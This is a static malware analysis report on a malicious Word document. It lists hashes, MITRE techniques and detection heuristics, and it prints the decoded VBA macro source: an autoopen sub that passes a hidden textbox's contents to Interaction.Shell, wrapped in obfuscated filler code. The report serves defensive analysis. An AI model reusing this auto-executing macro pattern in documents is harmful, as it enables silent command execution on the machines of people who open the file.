Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d317da349ccf08ac…

MALICIOUS

Office (OLE)

119.2 KB Created: 2018-12-18 13:51:00 Authoring application: Microsoft Office Word First seen: 2019-02-10
MD5: b9f128572986147dce9684e8504c4b67 SHA-1: 05a8fe816946a5221a733c0a37479a03d20bad57 SHA-256: d317da349ccf08ac7d1fd814b092013a5d9e5931ba0e50b8201bb9c4cdf672ed
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers a Shell() call, which is a strong indicator of malicious intent to execute arbitrary commands. This is further supported by heuristics indicating suspicious cmd.exe invocation and VBA p-code execution. The primary goal appears to be executing a command, likely to download and run a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6787804-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6787804-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
    lJSOTAv = Array(zwVmdz, nDWwfj, tNAamwtOF, Interaction.Shell(CleanString(VFvZTjiwA.TextBox1), 50 - 50), oNmuZL)
       Select Case VaXAfVzWSESUpouEDJrDJc
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    wplBXp
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 852 bytes
SHA-256: 68ef2a58cc43e7294888d97f9baba2c671acbe281ce378b9868e807cdcc73050
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VFvZTjiwA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
wplBXp
End Sub

Attribute VB_Name = "phRErLlq"
Function wplBXp()
On Error Resume Next
lJSOTAv = Array(zwVmdz, nDWwfj, tNAamwtOF, Interaction.Shell(CleanString(VFvZTjiwA.TextBox1), 50 - 50), oNmuZL)
   Select Case VaXAfVzWSESUpouEDJrDJc
            Case 239358306
            qCnFmrZhRCnXsLmsvkvZabXb = 94346571
            TNvOjspaKcisjb = Oct(kDnBWLrXzIYjKWPfLqkY + CStr(lDWvhRBJJCAUvpXj + Log(175942169) - pbqwFHLfDuwWBzCSwzQFpuq / Hex(91765945)))
      End Select
End Function